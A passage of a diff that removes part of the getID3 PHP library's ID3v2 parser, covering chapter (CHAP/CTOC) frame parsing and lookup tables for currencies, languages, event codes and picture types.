$parsedFrame['raw']['album']['signbit']); - - $info['replay_gain']['track']['peak'] = $parsedFrame['peakamplitude']; - $info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator']; - $info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment']; - $info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator']; - $info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment']; - - unset($parsedFrame['data']); - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only) - // http://id3.org/id3v2-chapters-1.0 - // (10 bytes) - // Element ID $00 - // Start time $xx xx xx xx - // End time $xx xx xx xx - // Start offset $xx xx xx xx - // End offset $xx xx xx xx - // - - $frame_offset = 0; - @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); - $frame_offset += strlen($parsedFrame['element_id']."\x00"); - $parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - $parsedFrame['time_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { - // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." - $parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - } - $frame_offset += 4; - if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { - // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." - $parsedFrame['offset_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - } - $frame_offset += 4; - - if ($frame_offset < strlen($parsedFrame['data'])) { - $parsedFrame['subframes'] = array(); - while ($frame_offset < strlen($parsedFrame['data'])) { - // - $subframe = array(); - $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); - $frame_offset += 4; - $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { - $this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); - break; - } - $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); - $frame_offset += $subframe['size']; - - $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); - $subframe['text'] = substr($subframe_rawdata, 1); - $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); - $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text'])); - switch (substr($encoding_converted_text, 0, 2)) { - case "\xFF\xFE": - case "\xFE\xFF": - switch (strtoupper($info['id3v2']['encoding'])) { - case 'ISO-8859-1': - case 'UTF-8': - $encoding_converted_text = substr($encoding_converted_text, 2); - // remove unwanted byte-order-marks - break; - default: - // ignore - break; - } - break; - default: - // do not remove BOM - break; - } - - switch ($subframe['name']) { - case 'TIT2': - $parsedFrame['chapter_name'] = $encoding_converted_text; - $parsedFrame['subframes'][] = $subframe; - break; - case 'TIT3': - $parsedFrame['chapter_description'] = $encoding_converted_text; - $parsedFrame['subframes'][] = $subframe; - break; - case 'WXXX': - list($subframe['chapter_url_description'], $subframe['chapter_url']) = explode("\x00", $encoding_converted_text, 2); - $parsedFrame['chapter_url'][$subframe['chapter_url_description']] = $subframe['chapter_url']; - $parsedFrame['subframes'][] = $subframe; - break; - case 'APIC': - if (preg_match('#^([^\\x00]+)*\\x00(.)([^\\x00]+)*\\x00(.+)$#s', $subframe['text'], $matches)) { - list($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata) = $matches; - $subframe['image_mime'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_mime)); - $subframe['picture_type'] = $this->APICPictureTypeLookup($subframe_apic_picturetype); - $subframe['description'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_description)); - if (strlen($this->TextEncodingTerminatorLookup($subframe['encoding'])) == 2) { - // the null terminator between "description" and "picture data" could be either 1 byte (ISO-8859-1, UTF-8) or two bytes (UTF-16) - // the above regex assumes one byte, if it's actually two then strip the second one here - $subframe_apic_picturedata = substr($subframe_apic_picturedata, 1); - } - $subframe['data'] = $subframe_apic_picturedata; - unset($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata); - unset($subframe['text'], $parsedFrame['text']); - $parsedFrame['subframes'][] = $subframe; - $parsedFrame['picture_present'] = true; - } else { - $this->warning('ID3v2.CHAP subframe #'.(count($parsedFrame['subframes']) + 1).' "'.$subframe['name'].'" not in expected format'); - } - break; - default: - $this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (supported: TIT2, TIT3, WXXX, APIC)'); - break; - } - } - unset($subframe_rawdata, $subframe, $encoding_converted_text); - unset($parsedFrame['data']); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC - } - - $id3v2_chapter_entry = array(); - foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description', 'chapter_url', 'picture_present') as $id3v2_chapter_key) { - if (isset($parsedFrame[$id3v2_chapter_key])) { - $id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key]; - } - } - if (!isset($info['id3v2']['chapters'])) { - $info['id3v2']['chapters'] = array(); - } - $info['id3v2']['chapters'][] = $id3v2_chapter_entry; - unset($id3v2_chapter_entry, $id3v2_chapter_key); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only) - // http://id3.org/id3v2-chapters-1.0 - // (10 bytes) - // Element ID $00 - // CTOC flags %xx - // Entry count $xx - // Child Element ID $00 /* zero or more child CHAP or CTOC entries */ - // - - $frame_offset = 0; - @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); - $frame_offset += strlen($parsedFrame['element_id']."\x00"); - $ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1)); - $frame_offset += 1; - $parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1)); - $frame_offset += 1; - - $terminator_position = null; - for ($i = 0; $i < $parsedFrame['entry_count']; $i++) { - $terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset); - $parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset); - $frame_offset = $terminator_position + 1; - } - - $parsedFrame['ctoc_flags']['ordered'] = (bool) ($ctoc_flags_raw & 0x01); - $parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03); - - unset($ctoc_flags_raw, $terminator_position); - - if ($frame_offset < strlen($parsedFrame['data'])) { - $parsedFrame['subframes'] = array(); - while ($frame_offset < strlen($parsedFrame['data'])) { - // - $subframe = array(); - $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); - $frame_offset += 4; - $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { - $this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); - break; - } - $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); - $frame_offset += $subframe['size']; - - $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); - $subframe['text'] = substr($subframe_rawdata, 1); - $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); - $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));; - switch (substr($encoding_converted_text, 0, 2)) { - case "\xFF\xFE": - case "\xFE\xFF": - switch (strtoupper($info['id3v2']['encoding'])) { - case 'ISO-8859-1': - case 'UTF-8': - $encoding_converted_text = substr($encoding_converted_text, 2); - // remove unwanted byte-order-marks - break; - default: - // ignore - break; - } - break; - default: - // do not remove BOM - break; - } - - if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) { - if ($subframe['name'] == 'TIT2') { - $parsedFrame['toc_name'] = $encoding_converted_text; - } elseif ($subframe['name'] == 'TIT3') { - $parsedFrame['toc_description'] = $encoding_converted_text; - } - $parsedFrame['subframes'][] = $subframe; - } else { - $this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)'); - } - } - unset($subframe_rawdata, $subframe, $encoding_converted_text); - } - - } - - return true; - } - - /** - * @param string $data - * - * @return string - */ - public function DeUnsynchronise($data) { - return str_replace("\xFF\x00", "\xFF", $data); - } - - /** - * @param int $index - * - * @return string - */ - public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) { - static $LookupExtendedHeaderRestrictionsTagSizeLimits = array( - 0x00 => 'No more than 128 frames and 1 MB total tag size', - 0x01 => 'No more than 64 frames and 128 KB total tag size', - 0x02 => 'No more than 32 frames and 40 KB total tag size', - 0x03 => 'No more than 32 frames and 4 KB total tag size', - ); - return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : ''); - } - - /** - * @param int $index - * - * @return string - */ - public function LookupExtendedHeaderRestrictionsTextEncodings($index) { - static $LookupExtendedHeaderRestrictionsTextEncodings = array( - 0x00 => 'No restrictions', - 0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8', - ); - return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : ''); - } - - /** - * @param int $index - * - * @return string - */ - public function LookupExtendedHeaderRestrictionsTextFieldSize($index) { - static $LookupExtendedHeaderRestrictionsTextFieldSize = array( - 0x00 => 'No restrictions', - 0x01 => 'No string is longer than 1024 characters', - 0x02 => 'No string is longer than 128 characters', - 0x03 => 'No string is longer than 30 characters', - ); - return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : ''); - } - - /** - * @param int $index - * - * @return string - */ - public function LookupExtendedHeaderRestrictionsImageEncoding($index) { - static $LookupExtendedHeaderRestrictionsImageEncoding = array( - 0x00 => 'No restrictions', - 0x01 => 'Images are encoded only with PNG or JPEG', - ); - return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : ''); - } - - /** - * @param int $index - * - * @return string - */ - public function LookupExtendedHeaderRestrictionsImageSizeSize($index) { - static $LookupExtendedHeaderRestrictionsImageSizeSize = array( - 0x00 => 'No restrictions', - 0x01 => 'All images are 256x256 pixels or smaller', - 0x02 => 'All images are 64x64 pixels or smaller', - 0x03 => 'All images are exactly 64x64 pixels, unless required otherwise', - ); - return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : ''); - } - - /** - * @param string $currencyid - * - * @return string - */ - public function LookupCurrencyUnits($currencyid) { - - $begin = __LINE__; - - /** This is not a comment! - - - AED Dirhams - AFA Afghanis - ALL Leke - AMD Drams - ANG Guilders - AOA Kwanza - ARS Pesos - ATS Schillings - AUD Dollars - AWG Guilders - AZM Manats - BAM Convertible Marka - BBD Dollars - BDT Taka - BEF Francs - BGL Leva - BHD Dinars - BIF Francs - BMD Dollars - BND Dollars - BOB Bolivianos - BRL Brazil Real - BSD Dollars - BTN Ngultrum - BWP Pulas - BYR Rubles - BZD Dollars - CAD Dollars - CDF Congolese Francs - CHF Francs - CLP Pesos - CNY Yuan Renminbi - COP Pesos - CRC Colones - CUP Pesos - CVE Escudos - CYP Pounds - CZK Koruny - DEM Deutsche Marks - DJF Francs - DKK Kroner - DOP Pesos - DZD Algeria Dinars - EEK Krooni - EGP Pounds - ERN Nakfa - ESP Pesetas - ETB Birr - EUR Euro - FIM Markkaa - FJD Dollars - FKP Pounds - FRF Francs - GBP Pounds - GEL Lari - GGP Pounds - GHC Cedis - GIP Pounds - GMD Dalasi - GNF Francs - GRD Drachmae - GTQ Quetzales - GYD Dollars - HKD Dollars - HNL Lempiras - HRK Kuna - HTG Gourdes - HUF Forints - IDR Rupiahs - IEP Pounds - ILS New Shekels - IMP Pounds - INR Rupees - IQD Dinars - IRR Rials - ISK Kronur - ITL Lire - JEP Pounds - JMD Dollars - JOD Dinars - JPY Yen - KES Shillings - KGS Soms - KHR Riels - KMF Francs - KPW Won - KWD Dinars - KYD Dollars - KZT Tenge - LAK Kips - LBP Pounds - LKR Rupees - LRD Dollars - LSL Maloti - LTL Litai - LUF Francs - LVL Lati - LYD Dinars - MAD Dirhams - MDL Lei - MGF Malagasy Francs - MKD Denars - MMK Kyats - MNT Tugriks - MOP Patacas - MRO Ouguiyas - MTL Liri - MUR Rupees - MVR Rufiyaa - MWK Kwachas - MXN Pesos - MYR Ringgits - MZM Meticais - NAD Dollars - NGN Nairas - NIO Gold Cordobas - NLG Guilders - NOK Krone - NPR Nepal Rupees - NZD Dollars - OMR Rials - PAB Balboa - PEN Nuevos Soles - PGK Kina - PHP Pesos - PKR Rupees - PLN Zlotych - PTE Escudos - PYG Guarani - QAR Rials - ROL Lei - RUR Rubles - RWF Rwanda Francs - SAR Riyals - SBD Dollars - SCR Rupees - SDD Dinars - SEK Kronor - SGD Dollars - SHP Pounds - SIT Tolars - SKK Koruny - SLL Leones - SOS Shillings - SPL Luigini - SRG Guilders - STD Dobras - SVC Colones - SYP Pounds - SZL Emalangeni - THB Baht - TJR Rubles - TMM Manats - TND Dinars - TOP Pa'anga - TRL Liras (old) - TRY Liras - TTD Dollars - TVD Tuvalu Dollars - TWD New Dollars - TZS Shillings - UAH Hryvnia - UGX Shillings - USD Dollars - UYU Pesos - UZS Sums - VAL Lire - VEB Bolivares - VND Dong - VUV Vatu - WST Tala - XAF Francs - XAG Ounces - XAU Ounces - XCD Dollars - XDR Special Drawing Rights - XPD Ounces - XPF Francs - XPT Ounces - YER Rials - YUM New Dinars - ZAR Rand - ZMK Kwacha - ZWD Zimbabwe Dollars - - */ - - return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units'); - } - - /** - * @param string $currencyid - * - * @return string - */ - public function LookupCurrencyCountry($currencyid) { - - $begin = __LINE__; - - /** This is not a comment! - - AED United Arab Emirates - AFA Afghanistan - ALL Albania - AMD Armenia - ANG Netherlands Antilles - AOA Angola - ARS Argentina - ATS Austria - AUD Australia - AWG Aruba - AZM Azerbaijan - BAM Bosnia and Herzegovina - BBD Barbados - BDT Bangladesh - BEF Belgium - BGL Bulgaria - BHD Bahrain - BIF Burundi - BMD Bermuda - BND Brunei Darussalam - BOB Bolivia - BRL Brazil - BSD Bahamas - BTN Bhutan - BWP Botswana - BYR Belarus - BZD Belize - CAD Canada - CDF Congo/Kinshasa - CHF Switzerland - CLP Chile - CNY China - COP Colombia - CRC Costa Rica - CUP Cuba - CVE Cape Verde - CYP Cyprus - CZK Czech Republic - DEM Germany - DJF Djibouti - DKK Denmark - DOP Dominican Republic - DZD Algeria - EEK Estonia - EGP Egypt - ERN Eritrea - ESP Spain - ETB Ethiopia - EUR Euro Member Countries - FIM Finland - FJD Fiji - FKP Falkland Islands (Malvinas) - FRF France - GBP United Kingdom - GEL Georgia - GGP Guernsey - GHC Ghana - GIP Gibraltar - GMD Gambia - GNF Guinea - GRD Greece - GTQ Guatemala - GYD Guyana - HKD Hong Kong - HNL Honduras - HRK Croatia - HTG Haiti - HUF Hungary - IDR Indonesia - IEP Ireland (Eire) - ILS Israel - IMP Isle of Man - INR India - IQD Iraq - IRR Iran - ISK Iceland - ITL Italy - JEP Jersey - JMD Jamaica - JOD Jordan - JPY Japan - KES Kenya - KGS Kyrgyzstan - KHR Cambodia - KMF Comoros - KPW Korea - KWD Kuwait - KYD Cayman Islands - KZT Kazakstan - LAK Laos - LBP Lebanon - LKR Sri Lanka - LRD Liberia - LSL Lesotho - LTL Lithuania - LUF Luxembourg - LVL Latvia - LYD Libya - MAD Morocco - MDL Moldova - MGF Madagascar - MKD Macedonia - MMK Myanmar (Burma) - MNT Mongolia - MOP Macau - MRO Mauritania - MTL Malta - MUR Mauritius - MVR Maldives (Maldive Islands) - MWK Malawi - MXN Mexico - MYR Malaysia - MZM Mozambique - NAD Namibia - NGN Nigeria - NIO Nicaragua - NLG Netherlands (Holland) - NOK Norway - NPR Nepal - NZD New Zealand - OMR Oman - PAB Panama - PEN Peru - PGK Papua New Guinea - PHP Philippines - PKR Pakistan - PLN Poland - PTE Portugal - PYG Paraguay - QAR Qatar - ROL Romania - RUR Russia - RWF Rwanda - SAR Saudi Arabia - SBD Solomon Islands - SCR Seychelles - SDD Sudan - SEK Sweden - SGD Singapore - SHP Saint Helena - SIT Slovenia - SKK Slovakia - SLL Sierra Leone - SOS Somalia - SPL Seborga - SRG Suriname - STD São Tome and Principe - SVC El Salvador - SYP Syria - SZL Swaziland - THB Thailand - TJR Tajikistan - TMM Turkmenistan - TND Tunisia - TOP Tonga - TRL Turkey - TRY Turkey - TTD Trinidad and Tobago - TVD Tuvalu - TWD Taiwan - TZS Tanzania - UAH Ukraine - UGX Uganda - USD United States of America - UYU Uruguay - UZS Uzbekistan - VAL Vatican City - VEB Venezuela - VND Viet Nam - VUV Vanuatu - WST Samoa - XAF Communauté Financière Africaine - XAG Silver - XAU Gold - XCD East Caribbean - XDR International Monetary Fund - XPD Palladium - XPF Comptoirs Français du Pacifique - XPT Platinum - YER Yemen - YUM Yugoslavia - ZAR South Africa - ZMK Zambia - ZWD Zimbabwe - - */ - - return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country'); - } - - /** - * @param string $languagecode - * @param bool $casesensitive - * - * @return string - */ - public static function LanguageLookup($languagecode, $casesensitive=false) { - - if (!$casesensitive) { - $languagecode = strtolower($languagecode); - } - - // http://www.id3.org/id3v2.4.0-structure.txt - // [4. ID3v2 frame overview] - // The three byte language field, present in several frames, is used to - // describe the language of the frame's content, according to ISO-639-2 - // [ISO-639-2]. The language should be represented in lower case. If the - // language is not known the string "XXX" should be used. - - - // ISO 639-2 - http://www.id3.org/iso639-2.html - - $begin = __LINE__; - - /** This is not a comment! - - XXX unknown - xxx unknown - aar Afar - abk Abkhazian - ace Achinese - ach Acoli - ada Adangme - afa Afro-Asiatic (Other) - afh Afrihili - afr Afrikaans - aka Akan - akk Akkadian - alb Albanian - ale Aleut - alg Algonquian Languages - amh Amharic - ang English, Old (ca. 450-1100) - apa Apache Languages - ara Arabic - arc Aramaic - arm Armenian - arn Araucanian - arp Arapaho - art Artificial (Other) - arw Arawak - asm Assamese - ath Athapascan Languages - ava Avaric - ave Avestan - awa Awadhi - aym Aymara - aze Azerbaijani - bad Banda - bai Bamileke Languages - bak Bashkir - bal Baluchi - bam Bambara - ban Balinese - baq Basque - bas Basa - bat Baltic (Other) - bej Beja - bel Byelorussian - bem Bemba - ben Bengali - ber Berber (Other) - bho Bhojpuri - bih Bihari - bik Bikol - bin Bini - bis Bislama - bla Siksika - bnt Bantu (Other) - bod Tibetan - bra Braj - bre Breton - bua Buriat - bug Buginese - bul Bulgarian - bur Burmese - cad Caddo - cai Central American Indian (Other) - car Carib - cat Catalan - cau Caucasian (Other) - ceb Cebuano - cel Celtic (Other) - ces Czech - cha Chamorro - chb Chibcha - che Chechen - chg Chagatai - chi Chinese - chm Mari - chn Chinook jargon - cho Choctaw - chr Cherokee - chu Church Slavic - chv Chuvash - chy Cheyenne - cop Coptic - cor Cornish - cos Corsican - cpe Creoles and Pidgins, English-based (Other) - cpf Creoles and Pidgins, French-based (Other) - cpp Creoles and Pidgins, Portuguese-based (Other) - cre Cree - crp Creoles and Pidgins (Other) - cus Cushitic (Other) - cym Welsh - cze Czech - dak Dakota - dan Danish - del Delaware - deu German - din Dinka - div Divehi - doi Dogri - dra Dravidian (Other) - dua Duala - dum Dutch, Middle (ca. 1050-1350) - dut Dutch - dyu Dyula - dzo Dzongkha - efi Efik - egy Egyptian (Ancient) - eka Ekajuk - ell Greek, Modern (1453-) - elx Elamite - eng English - enm English, Middle (ca. 1100-1500) - epo Esperanto - esk Eskimo (Other) - esl Spanish - est Estonian - eus Basque - ewe Ewe - ewo Ewondo - fan Fang - fao Faroese - fas Persian - fat Fanti - fij Fijian - fin Finnish - fiu Finno-Ugrian (Other) - fon Fon - fra French - fre French - frm French, Middle (ca. 1400-1600) - fro French, Old (842- ca. 1400) - fry Frisian - ful Fulah - gaa Ga - gae Gaelic (Scots) - gai Irish - gay Gayo - gdh Gaelic (Scots) - gem Germanic (Other) - geo Georgian - ger German - gez Geez - gil Gilbertese - glg Gallegan - gmh German, Middle High (ca. 1050-1500) - goh German, Old High (ca. 750-1050) - gon Gondi - got Gothic - grb Grebo - grc Greek, Ancient (to 1453) - gre Greek, Modern (1453-) - grn Guarani - guj Gujarati - hai Haida - hau Hausa - haw Hawaiian - heb Hebrew - her Herero - hil Hiligaynon - him Himachali - hin Hindi - hmo Hiri Motu - hun Hungarian - hup Hupa - hye Armenian - iba Iban - ibo Igbo - ice Icelandic - ijo Ijo - iku Inuktitut - ilo Iloko - ina Interlingua (International Auxiliary language Association) - inc Indic (Other) - ind Indonesian - ine Indo-European (Other) - ine Interlingue - ipk Inupiak - ira Iranian (Other) - iri Irish - iro Iroquoian uages - isl Icelandic - ita Italian - jav Javanese - jaw Javanese - jpn Japanese - jpr Judeo-Persian - jrb Judeo-Arabic - kaa Kara-Kalpak - kab Kabyle - kac Kachin - kal Greenlandic - kam Kamba - kan Kannada - kar Karen - kas Kashmiri - kat Georgian - kau Kanuri - kaw Kawi - kaz Kazakh - kha Khasi - khi Khoisan (Other) - khm Khmer - kho Khotanese - kik Kikuyu - kin Kinyarwanda - kir Kirghiz - kok Konkani - kom Komi - kon Kongo - kor Korean - kpe Kpelle - kro Kru - kru Kurukh - kua Kuanyama - kum Kumyk - kur Kurdish - kus Kusaie - kut Kutenai - lad Ladino - lah Lahnda - lam Lamba - lao Lao - lat Latin - lav Latvian - lez Lezghian - lin Lingala - lit Lithuanian - lol Mongo - loz Lozi - ltz Letzeburgesch - lub Luba-Katanga - lug Ganda - lui Luiseno - lun Lunda - luo Luo (Kenya and Tanzania) - mac Macedonian - mad Madurese - mag Magahi - mah Marshall - mai Maithili - mak Macedonian - mak Makasar - mal Malayalam - man Mandingo - mao Maori - map Austronesian (Other) - mar Marathi - mas Masai - max Manx - may Malay - men Mende - mga Irish, Middle (900 - 1200) - mic Micmac - min Minangkabau - mis Miscellaneous (Other) - mkh Mon-Kmer (Other) - mlg Malagasy - mlt Maltese - mni Manipuri - mno Manobo Languages - moh Mohawk - mol Moldavian - mon Mongolian - mos Mossi - mri Maori - msa Malay - mul Multiple Languages - mun Munda Languages - mus Creek - mwr Marwari - mya Burmese - myn Mayan Languages - nah Aztec - nai North American Indian (Other) - nau Nauru - nav Navajo - nbl Ndebele, South - nde Ndebele, North - ndo Ndongo - nep Nepali - new Newari - nic Niger-Kordofanian (Other) - niu Niuean - nla Dutch - nno Norwegian (Nynorsk) - non Norse, Old - nor Norwegian - nso Sotho, Northern - nub Nubian Languages - nya Nyanja - nym Nyamwezi - nyn Nyankole - nyo Nyoro - nzi Nzima - oci Langue d'Oc (post 1500) - oji Ojibwa - ori Oriya - orm Oromo - osa Osage - oss Ossetic - ota Turkish, Ottoman (1500 - 1928) - oto Otomian Languages - paa Papuan-Australian (Other) - pag Pangasinan - pal Pahlavi - pam Pampanga - pan Panjabi - pap Papiamento - pau Palauan - peo Persian, Old (ca 600 - 400 B.C.) - per Persian - phn Phoenician - pli Pali - pol Polish - pon Ponape - por Portuguese - pra Prakrit uages - pro Provencal, Old (to 1500) - pus Pushto - que Quechua - raj Rajasthani - rar Rarotongan - roa Romance (Other) - roh Rhaeto-Romance - rom Romany - ron Romanian - rum Romanian - run Rundi - rus Russian - sad Sandawe - sag Sango - sah Yakut - sai South American Indian (Other) - sal Salishan Languages - sam Samaritan Aramaic - san Sanskrit - sco Scots - scr Serbo-Croatian - sel Selkup - sem Semitic (Other) - sga Irish, Old (to 900) - shn Shan - sid Sidamo - sin Singhalese - sio Siouan Languages - sit Sino-Tibetan (Other) - sla Slavic (Other) - slk Slovak - slo Slovak - slv Slovenian - smi Sami Languages - smo Samoan - sna Shona - snd Sindhi - sog Sogdian - som Somali - son Songhai - sot Sotho, Southern - spa Spanish - sqi Albanian - srd Sardinian - srr Serer - ssa Nilo-Saharan (Other) - ssw Siswant - ssw Swazi - suk Sukuma - sun Sudanese - sus Susu - sux Sumerian - sve Swedish - swa Swahili - swe Swedish - syr Syriac - tah Tahitian - tam Tamil - tat Tatar - tel Telugu - tem Timne - ter Tereno - tgk Tajik - tgl Tagalog - tha Thai - tib Tibetan - tig Tigre - tir Tigrinya - tiv Tivi - tli Tlingit - tmh Tamashek - tog Tonga (Nyasa) - ton Tonga (Tonga Islands) - tru Truk - tsi Tsimshian - tsn Tswana - tso Tsonga - tuk Turkmen - tum Tumbuka - tur Turkish - tut Altaic (Other) - twi Twi - tyv Tuvinian - uga Ugaritic - uig Uighur - ukr Ukrainian - umb Umbundu - und Undetermined - urd Urdu - uzb Uzbek - vai Vai - ven Venda - vie Vietnamese - vol Volapük - vot Votic - wak Wakashan Languages - wal Walamo - war Waray - was Washo - wel Welsh - wen Sorbian Languages - wol Wolof - xho Xhosa - yao Yao - yap Yap - yid Yiddish - yor Yoruba - zap Zapotec - zen Zenaga - zha Zhuang - zho Chinese - zul Zulu - zun Zuni - - */ - - return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode'); - } - - /** - * @param int $index - * - * @return string - */ - public static function ETCOEventLookup($index) { - if (($index >= 0x17) && ($index <= 0xDF)) { - return 'reserved for future use'; - } - if (($index >= 0xE0) && ($index <= 0xEF)) { - return 'not predefined synch 0-F'; - } - if (($index >= 0xF0) && ($index <= 0xFC)) { - return 'reserved for future use'; - } - - static $EventLookup = array( - 0x00 => 'padding (has no meaning)', - 0x01 => 'end of initial silence', - 0x02 => 'intro start', - 0x03 => 'main part start', - 0x04 => 'outro start', - 0x05 => 'outro end', - 0x06 => 'verse start', - 0x07 => 'refrain start', - 0x08 => 'interlude start', - 0x09 => 'theme start', - 0x0A => 'variation start', - 0x0B => 'key change', - 0x0C => 'time change', - 0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)', - 0x0E => 'sustained noise', - 0x0F => 'sustained noise end', - 0x10 => 'intro end', - 0x11 => 'main part end', - 0x12 => 'verse end', - 0x13 => 'refrain end', - 0x14 => 'theme end', - 0x15 => 'profanity', - 0x16 => 'profanity end', - 0xFD => 'audio end (start of silence)', - 0xFE => 'audio file ends', - 0xFF => 'one more byte of events follows' - ); - - return (isset($EventLookup[$index]) ? $EventLookup[$index] : ''); - } - - /** - * @param int $index - * - * @return string - */ - public static function SYTLContentTypeLookup($index) { - static $SYTLContentTypeLookup = array( - 0x00 => 'other', - 0x01 => 'lyrics', - 0x02 => 'text transcription', - 0x03 => 'movement/part name', // (e.g. 'Adagio') - 0x04 => 'events', // (e.g. 'Don Quijote enters the stage') - 0x05 => 'chord', // (e.g. 'Bb F Fsus') - 0x06 => 'trivia/\'pop up\' information', - 0x07 => 'URLs to webpages', - 0x08 => 'URLs to images' - ); - - return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : ''); - } - - /** - * @param int $index - * @param bool $returnarray - * - * @return array|string - */ - public static function APICPictureTypeLookup($index, $returnarray=false) { - static $APICPictureTypeLookup = array( - 0x00 => 'Other', - 0x01 => '32x32 pixels \'file icon\' (PNG only)', - 0x02 => 'Other file icon', - 0x03 => 'Cover (front)', - 0x04 => 'Cover (back)', - 0x05 => 'Leaflet page', - 0x06 => 'Media (e.g. label side of CD)', - 0x07 => 'Lead artist/lead performer/soloist', - 0x08 => 'Artist/performer', - 0x09 => 'Conductor', - 0x0A => 'Band/Orchestra', - 0x0B => 'Composer', - 0x0C => 'Lyricist/text writer', - 0x0D => 'Recording Location', - 0x0E => 'During recording', - 0x0F => 'During performance', - 0x10 => 'Movie/video screen capture', - 0x11 => 'A bright coloured fish', - 0x12 => 'Illustration', - 0x13 => 'Band/artist logotype', - 0x14 => 'Publisher/Studio logotype' - ); - if ($returnarray) { - return $APICPictureTypeLookup; - } - return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : ''); - } - - /** - * @param int $index - * - * @return string - */ - public static function COMRReceivedAsLookup($index) { - static $COMRReceivedAsLookup = array( - 0x00 => 'Other', - 0x01 => 'Standard CD album with other songs', - 0x02 => 'Compressed audio on CD', - 0x03 => 'File over the Internet', - 0x04 => 'Stream over the Internet', - 0x05 => 'As note sheets', - 0x06 => 'As note sheets in a book with other sheets', - 0x07 => 'Music on other media', - 0x08 => 'Non-musical merchandise' - ); - - return (isset($COMRReceivedAsLookup[$index]) ? 